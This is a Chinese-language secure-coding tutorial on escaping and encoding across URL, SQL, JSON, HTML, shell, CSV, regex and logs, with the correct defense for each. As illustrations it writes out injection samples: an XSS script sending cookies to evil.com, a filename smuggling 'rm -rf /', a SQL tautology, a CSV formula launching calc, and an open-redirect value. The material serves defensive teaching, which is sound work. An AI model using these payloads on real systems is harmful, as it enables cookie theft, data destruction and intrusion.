引言为什么需要转义与编码所有文本协议都面临同一个根本矛盾数据和语法共用同一条文本通道。无论是 URL、SQL、HTML 还是 JSON最终都要变成一串字符发送或存储。解析器要读懂结构靠的是特殊字符如、、、。但数据本身也可能含有这些字符——解析器无法从“长得像”上区分“这是结构还是数据”。转义escaping和编码encoding就是解决这个矛盾的通用方案在数据进入通道之前把数据中所有可能被解析器误认为语法的字符替换成解析器约定俗成的安全表示形式解析器先按裸露的语法字符切割结构再对每段数据做还原解码。由此推出解析的两条铁律先结构后数据解析器永远先按语法字符切分再对切出来的数据段解码。这就是为什么转义后的%26不会干扰切割。粒度纪律转义只能作用于“值”绝不能作用于包含语法的整体——把整条 SQL 或 URL 转义等于破坏结构。下面按领域展开。每个领域讲三件事语法字符是什么、攻击如何发生、正确防护是什么。一、URL 百分号编码1.1 语法字符URL 中具有结构含义的字符? 查询串开始 参数分隔 键值分隔 # 锚点分界 / 路径分隔 : 协议/端口1.2 两种保留字集合URL 编码有两个常用规范它们的空格处理不同规范用途空格编码为RFC 3986纯 URL 语法路径、通用 URI%20application/x-www-form-urlencodedHTML 表单/查询参数值Java 的URLEncoder.encode遵循的是表单规范。用在查询参数值上没有问题因为服务端会按表单规则解码但用在路径片段上就会出现与%20的差异。另一个必须注意的差异RFC 3986 中保留、但URLEncoder不转义的字符* - . _ ~以及字母数字。URLEncoder会把空格变成而在 RFC 中本身是保留字符应编码为%2B。1.3 攻击形态假设拼接 URL 时未对参数值编码攻击者可以构造含语法字符的值?qrCodeAAAAadmin1 ← 数据逃逸成第二个参数参数污染 ?redirecthttp://evil.com ← 开放重定向 # 后面的内容不会发送给服务器 ← 数据被锚点截断服务端按、切割时无法区分这些符号是值的一部分还是分隔符导致请求语义被篡改。1.4 正确做法只对参数值进行编码语法字符保持裸露Stringqueryparam1encode(value1)param2encode(value2);// ↑ 语法字符裸露 ↑ 数据内容编码以URLEncoder为例privatestaticStringencode(Stringvalue){returnURLEncoder.encode(value,StandardCharsets.UTF_8);}1.5 为什么必须显式指定字符集URLEncoder.encode(value)// 单参版本已废弃URLEncoder.encode(value,StandardCharsets.UTF_8)// 双参版本推荐单参版本使用平台默认字符集。Windows 服务器可能是 GBKLinux 是 UTF-8。同一个中文在两台机器上编码出不同的字节序列第三方按 UTF-8 解码就会乱码。双参版本锁定 UTF-8跨平台行为一致。这是 Java 10 加入的修正老写法已被标记Deprecated。1.6 百分号编码的原理URLEncoder.encode把不安全的字符替换成%XX形式XX是该字符字节的两位十六进制表示原始字符 编码后 %26 %3D 表单规范 中 %E4%B8%AD中文%E4%B8%AD为什么是三段因为 UTF-8 先把字符转成字节序列ASCII 占 1 字节中文占 3 字节。URL 编码分两步先按 UTF-8 把字符变成字节再对每个字节做百分号编码。中→ UTF-8 字节E4 B8 AD→%E4%B8%AD。1.7 服务端如何切割 URL一条 GET 请求的 URL 结构https://api.example.com/identify?param1ABCparam2XYZ ↑ ↑ 问号后开始 分隔参数服务端收到后按语法字符切割看到 ? → 后面是查询串 看到 → 参数结束下一个参数开始 看到 → 左边是参数名右边是值关键点切割只认符号不看语义。服务端不知道也不关心是值的一部分还是分隔符——它一律当分隔符。如果参数值不编码攻击者构造AAAAadmin1服务端切割结果服务端理解值param1xxxparam20002qrCodeAAAA ← 被截断admin1 ← 凭空多出的参数编码后?param1xxxparam20002qrCodeAAAA%26admin%3D1变成%26变成%3D它们不再是语法字符只是值里的普通内容。第三方按规则解码%26还原成整个AAAAadmin1被当成一个完整值收下。值被截断了吗没有。多出参数吗没有。这就是“值就是值永远不参与语法解析”。1.8 为什么 POST 接口通常不需要 URL 编码因为危险来自“URL 语法”而 POST 的参数根本不在 URL 里。两种传参方式对比GET——参数写进 URLGET /identify?param1xxxparam2yyy HTTP/1.1 ↑ 语法敏感区参数和、挤在同一条字符串里必须靠编码区分“谁是语法、谁是数据”。POST——参数放请求体JSON 格式POST /checkVerify HTTP/1.1 ← URL 干净没有任何参数 Content-Type: application/json {param1:xxx,param2:yyy} ← 参数全在这里JSON 有自己的转义规则由序列化器自动处理。值里就算有、、换行序列化器会加\转义或按字符串规则包裹。JSON 的语法保护是序列化器给的不需要手动编码。1.9 小结只编码参数值不编码整条 URL。使用双参URLEncoder.encode(value, StandardCharsets.UTF_8)。注意URLEncoder的空格编码为与 RFC 3986 的%20不同。编码的作用是让数据在传输全程保持“不透明”解析器切割结构时看不见数据里的特殊字符还原数据时又不损失任何内容。二、SQL 注入与参数化2.1 语法字符 字符串定界-- 注释 /* */ 块注释 ; 语句分隔2.2 攻击的完整解剖假设代码使用字符串拼接SELECT * FROM users WHERE name input AND pass pwd攻击者输入 OR 11 --拼接结果SELECT*FROMusersWHEREnameOR11-- AND pass ...↑三个破坏 ① 第一个 提前闭合字符串数据逃逸 ② OR 11 恒真逻辑被篡改 ③-- 注释掉后半句语法被改写2.3 正确防护参数化查询预编译// ✗ 拼接数据参与解析stmt.execute(... WHERE name input);// ✓ 参数化结构先定死数据后填充PreparedStatementpsconn.prepareStatement(... WHERE name ?);ps.setString(1,input);// 值整体进入不会被解析为 SQL原理与 URL 编码同构预编译阶段数据库先解析 SQL 骨架参数位置只保留占位符?。之后无论填入什么都只是数据没有机会参与语法解析。MyBatis 的#{}是参数化${}是拼接。永远警惕${}。2.4 常见误区“我对输入做了转义把换成不就行了”这能防住大部分情况但字符集陷阱如历史上 GBK 的宽字节注入%bf%27会绕过手工转义。参数化是结构性免疫手工转义是概率性防御应优先使用参数化。三、JSON 转义3.1 语法字符 字符串定界 \ 转义引导{}[]结构,:分隔JSON 字符串内的转义序列\ 双引号 \\ 反斜杠 \n 换行 \t 制表符 \u4E2D Unicode码点3.2 攻击形态手工拼 JSON{\name\:\userInput\}输入x,admin:true,z:结果{name:x,admin:true,z:}← 注入了新字段。3.3 正确做法使用序列化器Jsons.write(requestBody)// 序列化器自动转义序列化器逐字符扫描值内容遇到、\、控制字符自动加转义。不要手工拼 JSON 字符串。四、HTML 与 XSS跨站脚本4.1 语法字符 标签定界 属性定界 实体引导4.2 攻击形态把用户输入直接渲染进页面div{{comment}}/div输入scriptdocument.locationhttp://evil.com?cdocument.cookie/script结果脚本被浏览器执行cookie 被窃取XSS。4.3 正确做法按上下文的实体编码 → amp; → lt; → gt; → quot; → #39;编码后script变成lt;scriptgt;浏览器解析 HTML 结构时看不见渲染时再还原成可见文本。关键细节HTML 转义必须区分上下文。文本区、属性区、JS 区、URL 区各有不同的转义集用错地方仍然可被绕过。例如在onclick...属性里只做 HTML 实体编码并不能防住 JS 语法层面的注入。五、Shell 转义5.1 语法字符空格 参数分隔 ; 命令分隔 | 管道 后台执行 $ 变量展开 命令替换 * ? 通配符 ( ) 子shell5.2 攻击形态拼接命令Runtime.exec(convert filename out.png)文件名a.jpg; rm -rf /实际执行convert a.jpg; rm -rf / out.png← 两条命令5.3 正确做法按优先级// ① 最佳不进 shell——参数数组传递没有语法通道newProcessBuilder(convert,filename,out.png).start()// ② 次选单引号包裹内容里不能有 sh-c convert$filenameout.png// 复杂且易错ProcessBuilder传递的是字符串数组每个元素就是一个参数空格、分号都只是文件名的一部分彻底消除了数据与语法共用通道的前提。这提示了一个更高阶的原则能用结构化传输数组、参数化、二进制协议就不要用文本拼接。六、其他值得知道的场景6.1 XML转义 → 实体同 HTML 的五个。CDATA 区段![CDATA[ ... ]]内部不需要转义但内容不能包含]]。因此 CDATA 不能嵌套也不能防住构造了]]的输入历史上 XXE/CDATA 注入的来源之一。6.2 CSV语法字符逗号、换行、双引号。转义含特殊字符的字段用双引号包裹字段内的写成。不转义直接拼 → CSV 公式注入单元格里写cmd|/c calc!A1Excel 打开时被当公式执行。6.3 正则表达式语法字符. * ? ( ) [ ] { } ^ $ | \用Pattern.quote(s)把用户输入变成字面量否则输入.*会匹配一切(a会直接抛异常。6.4 日志注入语法字符换行符\n。攻击输入里带\n2026-08-30 ERROR fake log可伪造日志行误导审计。防护写入前过滤控制字符。七、三个容易混淆的“编码”家族这三个都叫“编码”目的完全不同必须分清家族代表解决什么问题例子字符集编码UTF-8 / GBK字符 ↔ 字节 的映射中 →E4 B8 AD转义编码URL编码 / JSON转义 / HTML实体数据在语法通道里不被误读→%26传输编码Base64二进制 → 纯文本通道可传图片字节 →iVBOR...它们经常组合出现URL 里传中文先 UTF-8字符集得到 3 个字节再百分号编码转义得到%E4%B8%AD。Base64 不提供任何转义保护。Base64(AAAadmin1)解码后还是不要把它当安全措施。八、进阶陷阱清单① 双重编码/双重解码输入 %2526 → 第一次解码%26 ← 在数据层安全 → 第二次解码 ← 如果有两个解码层又逃逸了多个组件串联网关→应用→下游各自解码一次时必然出现这类问题。原则解码只在一个明确的层做一次其余层把数据当作不透明数据。② 错误上下文的编码把 HTML 实体编码用在 URL 里 → 服务端按%XX解码amp;原样保留错误。把 URL 编码用在 SQL 里 →没被转义注入照旧。在onclick属性里只做 HTML 编码 → JS 语法没防住XSS 仍在。转义是上下文敏感的。先问“这段数据最终会被哪个解析器解析”再按那个解析器的语法转义。③ 解码顺序漏洞典型的 Rails/PHP 历史漏洞框架先解码再切割参数违反“先结构后数据”原则。?a1%26b2 → 先解码 → a1b2 → 再切割 → 参数 b 凭空出现正确实现永远先切割后解码每个值。④ 纵深防御转义是必要条件但不是充分条件。数据出口太多页面、日志、第三方、导出文件漏一个就可能失效。工程上应叠层设防输入校验白名单→ 转义/参数化核心→ 输出过滤 → CSP 等兜底总结领域语法字符逃逸后果正确防护URL ? #参数污染、注入新参数URLEncoder.encode只编码值SQL -- ;注入、恒真、删库参数化查询 / MyBatis#{}JSON \ { }字段注入、结构破坏序列化器Jsons.writeHTML XSS 脚本执行按上下文实体编码Shell空格、;、反引号、$命令注入参数数组 / 避免进 shellCSV, 换行 公式注入、列错位引号包裹 转义正则. * ( ) \匹配失控/崩溃Pattern.quote日志换行符日志伪造控制字符过滤只要数据与语法共享一条文本通道数据就可能冒充语法。转义与编码的作用就是让解析器先切分结构再按数据规则还原。更彻底的方式是使用结构化传输避免共享通道从根源上消除这一问题。
阅读完成 · 觉得有帮助?